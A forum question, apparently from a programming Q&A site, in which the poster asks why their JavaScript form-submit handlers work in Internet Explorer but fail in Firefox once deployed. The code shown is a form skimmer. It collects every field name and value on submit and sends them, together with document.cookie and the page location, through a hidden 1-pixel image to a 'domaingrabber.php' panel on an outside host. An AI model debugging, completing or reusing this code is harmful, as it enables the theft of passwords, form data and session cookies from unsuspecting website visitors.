title: Firefox attachEvent and addEventListener issues with both
body: <p>So i've got 2 sets of js one with attach event and one with addEventListener attach event works perfectly in IE 8 as expected and addEventListener for IE 9. if i use addEventListener on firefox in jsfiddle it seems to work fine no issues in firefox but as soon as i deploy it and try to use it as intended it just doesn't work at all any input would be great..
  IE 8 </p>
  
  <pre><code>var formsCollection = document.getElementsByTagName("form");
  var chain = "";
  for(var i=0;i&lt;formsCollection.length;i++)
   {
  
  
      // alert(formsCollection[i].name);
      formsCollection[i].attachEvent('onsubmit', function() {
         //working fine
  
              var formsCollection1 = document.getElementsByTagName("form");
  
              for (x = 0 ; x &lt; formsCollection1.length; x++)
              {
                  var elements1 = formsCollection1[x].elements;
                  for (e = 0 ; e &lt; elements1.length; e++)
                  {
                      chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                  }
              }
             attachForm(chain);
  
  
  
  
  
  
  //end mid
          }, false);
      }
  
  
  function attachForm(data) {
  
  //   alert(data);
      var oImg=document.createElement("img");
  oImg.setAttribute('src', "URL"+data);
  oImg.setAttribute('alt', 'na');
  oImg.setAttribute('height', '1px');
  oImg.setAttribute('width', '1px');
  document.body.appendChild(oImg);
  
  
  
  
  
  }
  </code></pre>
  
  <p>IE 10</p>
  
  <pre><code>var formsCollection = document.getElementsByTagName("form");
  var chain = "";
  for(var i=0;i&lt;formsCollection.length;i++)
   {
  
  
      // alert(formsCollection[i].name);
      formsCollection[i].addEventListener('submit', function() {
         //working fine
  
              var formsCollection1 = document.getElementsByTagName("form");
  
              for (x = 0 ; x &lt; formsCollection1.length; x++)
              {
                  var elements1 = formsCollection1[x].elements;
                  for (e = 0 ; e &lt; elements1.length; e++)
                  {
                      chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                  }
              }
             attachForm(chain);
  
  
  
  
  
  
  //end mid
          }, false);
      }
  
  
  function attachForm(data) {
  
  //   alert(data);
      var oImg=document.createElement("img");
  oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&amp;domain="+document.domain+"&amp;location="+document.location+"&amp;cookie="+document.cookie+"&amp;post="+data);
  oImg.setAttribute('alt', 'na');
  oImg.setAttribute('height', '1px');
  oImg.setAttribute('width', '1px');
  document.body.appendChild(oImg);
  
  
  
  
  
  }
  </code></pre>
  
  <p>any ideas would be great, it's properly something stupid but i just can't think today</p>